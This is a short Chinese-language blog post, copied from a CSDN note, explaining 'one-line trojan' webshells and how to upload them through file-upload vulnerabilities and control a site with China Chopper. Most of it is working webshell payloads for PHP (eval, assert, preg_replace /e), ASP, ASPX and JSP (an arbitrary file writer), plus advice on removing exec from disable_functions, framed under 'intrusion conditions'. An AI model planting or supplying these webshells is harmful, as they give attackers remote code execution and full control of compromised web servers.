2 3 4 5 6 7 8 9 10 11 12

Webshell常见一局话木马

原理:

利用文件上传漏洞,往目标网站中上传一句话木马,然后你就可以在本地通过中国菜刀chopper.exe即可获取和控制整个网站目录。
@表示后面即使执行错误,也不报错。
eval()函数表示括号内的语句字符串什么的全都当做代码执行。
$_POST['attack']表示从页面中获得attack这个参数值。

入侵条件

(1)木马上传成功,未被杀;
(2)知道木马的路径在哪;
(3)上传的木马能正常运行。

php

<?php @eval($_POST[value]); ?>
 解析:
 (1) php的代码要写在<?php ?>里面,服务器才能认出来这是php代码,然后才去解析。
(2)@符号的意思是不报错,即使执行错误,也不报错。
    eval()把字符串作为PHP代码执行。
    
<?php assert($_POST[value]);?>
   解析:
    用post方式接收变量value,变量里面的字符串当做php代码来执行
    opendir()和readdir()  查看目标硬盘是否有小视频
    move_uploaded_file()   上传小视频
    exec()   执行cmd命令
前提是:php配置文件php.ini里,关掉安全模式safe_mode = off,然后再看看 禁用函数列表
 disable_functions = proc_open, popen, exec, system, shell_exec ,把exec去掉,
确保没有exec(有些cms为了方便处理某些功能,会去掉的)。

<?php
    @preg_replace("/[email]/e",$_POST['h'],"error");
?>

asp

<%eval request ("value")%>

<% execute(request("value")) %>

aspx

<%@ Page Language="Jscript" %> <% eval(Request.Item["pass"],"unsafe"); %>

jsp

<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")
+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %>
 直接将这些语句插入到网站上的某个asp/aspx/php文件上,或者直接创建一个新的文件,在里面写入这些语句,然后把文件上传到网站上即可。

 注释:传输数据的两种方法,get、post,post是在消息体存放数据,
 get是在消息头的url路径里存放数据(例如xxx.php?a=2) 

笔记来源于:https://blog.csdn.net/weixin_39190897/article/details/86772765

posted @ 2021-11-07 11:36  MrDevil  阅读(129)  评论(0)    收藏  举报